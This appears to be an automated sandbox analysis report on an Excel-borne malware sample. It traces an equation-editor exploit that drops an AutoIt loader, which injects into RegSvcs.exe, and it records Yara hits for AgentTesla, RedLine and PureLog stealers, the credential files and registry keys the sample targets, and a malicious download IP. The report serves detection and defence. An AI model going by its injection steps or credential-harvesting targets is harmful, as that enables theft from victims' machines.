Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C00B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 3_2_00C00B62
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC09D5 SetUnhandledExceptionFilter, 3_2_00BC09D5
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BD2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_00BD2622
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 3_2_00BC083F
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 3_2_00BC0C21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 12_2_0040CE09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 12_2_0040E61C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_00416F6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 12_2_004123F1 SetUnhandledExceptionFilter, 12_2_004123F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\OIU.exe Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe protection: execute and read and write Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\AppData\Roaming\OIU.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 7EFDE008 Jump to behavior
Contains functionality to execute programs as a different user
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C01201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 3_2_00C01201
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BE2BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 3_2_00BE2BA5
Contains functionality to simulate keystroke presses
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C0B226 SendInput,keybd_event, 3_2_00C0B226
Contains functionality to simulate mouse events
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C222DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event, 3_2_00C222DA
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\OIU.exe C:\Users\user\AppData\Roaming\OIU.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Users\user\AppData\Roaming\OIU.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Users\user\AppData\Roaming\OIU.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Roaming\OIU.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C00B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 3_2_00C00B62
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C01663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 3_2_00C01663
Source: OIU.exe, 00000003.00000002.457891140.0000000000C62000.00000002.00000001.01000000.00000003.sdmp, OIU.exe, 00000005.00000002.460606758.0000000000C62000.00000002.00000001.01000000.00000003.sdmp, OIU.exe, 00000007.00000002.462376240.0000000000C62000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: OIU.exe Binary or memory string: Shell_TrayWnd
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BC0698 cpuid 3_2_00BC0698
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: GetLocaleInfoA, 12_2_00417A20
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BD333F GetSystemTimeAsFileTime, 3_2_00BD333F
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BFD27A GetUserNameW, 3_2_00BFD27A
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BDB952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free, 3_2_00BDB952
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00BA42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 3_2_00BA42DE
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected AgentTesla
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegSvcs.exe PID: 2220, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected RedLine Stealer
Source: Yara match File source: 12.2.RegSvcs.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.OIU.exe.de0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.OIU.exe.120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.OIU.exe.a40000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.OIU.exe.6e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.OIU.exe.360000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.457795747.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.460633124.0000000000DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.464011217.0000000000360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619889469.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.466866889.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.462329527.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe File opened: C:\FTP Navigator\Ftplist.txt Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
OS version to string mapping found (often used in BOTs)
Source: OIU.exe Binary or memory string: WIN_81
Source: OIU.exe Binary or memory string: WIN_XP
Source: OIU.exe.2.dr Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: OIU.exe Binary or memory string: WIN_XPe
Source: OIU.exe Binary or memory string: WIN_VISTA
Source: OIU.exe Binary or memory string: WIN_7
Source: OIU.exe Binary or memory string: WIN_8
Yara detected Credential Stealer
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.620104008.0000000002761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegSvcs.exe PID: 2220, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegSvcs.exe PID: 2220, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.300ee8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.530000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.3766458.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.37b7770.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b6f2ae.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.b70196.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.619916072.0000000000530000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619859392.0000000000300000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619992172.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.620190248.0000000003761000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected RedLine Stealer
Source: Yara match File source: 12.2.RegSvcs.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.OIU.exe.de0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.OIU.exe.120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.OIU.exe.a40000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.OIU.exe.6e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.OIU.exe.360000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.457795747.0000000000120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.460633124.0000000000DE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.464011217.0000000000360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.619889469.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.466866889.0000000000A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.462329527.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C21204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket, 3_2_00C21204
Source: C:\Users\user\AppData\Roaming\OIU.exe Code function: 3_2_00C21806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 3_2_00C21806
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1435095 Sample: Order Request1_5_24.xlam.xlsx Startdate: 02/05/2024 Architecture: WINDOWS Score: 100 62 Multi AV Scanner detection for domain / URL 2->62 64 Found malware configuration 2->64 66 Malicious sample detected (through community Yara rule) 2->66 68 17 other signatures 2->68 12 EXCEL.EXE 6 11 2->12         started        14 chrome.exe 1 2->14         started        17 chrome.exe 2->17         started        process3 dnsIp4 19 EQNEDT32.EXE 1 12->19         started        60 239.255.255.250 unknown Reserved 14->60 24 chrome.exe 14->24         started        26 chrome.exe 17->26         started        process5 dnsIp6 56 23.94.54.101, 49163, 80 AS-COLOCROSSINGUS United States 19->56 54 C:\Users\user\AppData\Roaming\OIU.exe, PE32 19->54 dropped 80 Office equation editor establishes network connection 19->80 82 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 19->82 28 OIU.exe 4 19->28         started        58 www.google.com 172.217.1.4, 443, 49164, 49168 GOOGLEUS United States 24->58 file7 signatures8 process9 signatures10 86 Multi AV Scanner detection for dropped file 28->86 88 Binary is likely a compiled AutoIt script file 28->88 90 Machine Learning detection for dropped file 28->90 92 Found API chain indicative of sandbox detection 28->92 31 OIU.exe 2 28->31         started        34 RegSvcs.exe 28->34         started        process11 signatures12 100 Binary is likely a compiled AutoIt script file 31->100 36 OIU.exe 2 31->36         started        39 RegSvcs.exe 31->39         started        102 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 34->102 process13 signatures14 78 Binary is likely a compiled AutoIt script file 36->78 41 OIU.exe 2 36->41         started        44 RegSvcs.exe 36->44         started        process15 signatures16 84 Binary is likely a compiled AutoIt script file 41->84 46 OIU.exe 2 41->46         started        49 RegSvcs.exe 41->49         started        process17 signatures18 94 Binary is likely a compiled AutoIt script file 46->94 96 Writes to foreign memory regions 46->96 98 Maps a DLL or memory area into another process 46->98 51 RegSvcs.exe 12 2 46->51         started        process19 signatures20 70 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 51->70 72 Tries to steal Mail credentials (via file / registry access) 51->72 74 Tries to harvest and steal ftp login credentials 51->74 76 Tries to harvest and steal browser information (history, passwords, etc) 51->76
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
239.255.255.250
 unknown Reserved
unknown unknown false
23.94.54.101
 unknown United States
36352 AS-COLOCROSSINGUS true
172.217.1.4
 www.google.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
www.google.com 172.217.1.4 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
